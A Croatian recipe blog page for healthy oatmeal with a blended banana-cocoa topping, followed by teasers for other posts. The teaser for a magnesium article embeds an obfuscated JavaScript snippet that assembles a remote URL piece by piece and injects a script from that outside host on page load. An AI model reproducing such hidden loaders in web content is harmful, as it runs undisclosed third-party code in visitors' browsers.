ZDRAVA ZOBENA KAŠA S PRELJEVOM OD VRUĆE ČOKOLADE 🍫





Zdrava zobena kaša s preljevom od vruće čokolade 

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Za hladna zimska jutra, ako nas pitate, nema boljeg početka dana od tople zdjele mirisne zobene kaše. Ova zdrava zobena kaša s preljevom od vruće čokolade idealna je za vikende, dok polako ispijamo kavu i uživamo u svakom zalogaju. Savršena je opcija dok ispraćamo zimu i nestrpljivo čekamo proljetne i ljetne voćke.




Zdrava zobena kaša s preljevom od vruće čokolade


Sastojci: 

Sastojci za preljev od vruće čokolade:

  • 1 velika, zrela banana
  • 1 velika Medjool datulja
  • 1 žlica javorovog sirupa
  • 1/4 šalice kakao praha
  • 1 šalica mlijeka po izboru

Sastojci za zobenu kašu:

  • 1 šalica zobenih pahuljica
  • 2 1/4 šalice vode
  • 1/4 čajne žličice soli
  • Po želji, za posluživanje: Krupna sol



Priprema:

  • U blender dodajte bananu, datulju, javorov sirup, kakao i mlijeko. Miksajte dok smjesa ne postane potpuno glatka. Bit će gusta, po potrebi dodajte malo vode kako biste dobili željenu gustoću.
  • Prebacite čokoladnu smjesu u manji lonac. Zagrijavajte na laganoj vatri 5 minuta, dok ne počne lagano pariti. Povremeno promiješajte.
  • U manji lonac stavite zobene pahuljice, vodu i sol. Uz povremeno miješanje, kuhajte na srednje jakoj vatri 5-6 minuta, dok se kaša ne zgusne.
  • Za posluživanje raspodijelite zobenu kašu u dvije zdjelice.
  • Prelijte polovicu tople čokoladne smjese preko svake zdjelice.
  • Po želji pospite krupnom soli i poslužite toplo.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više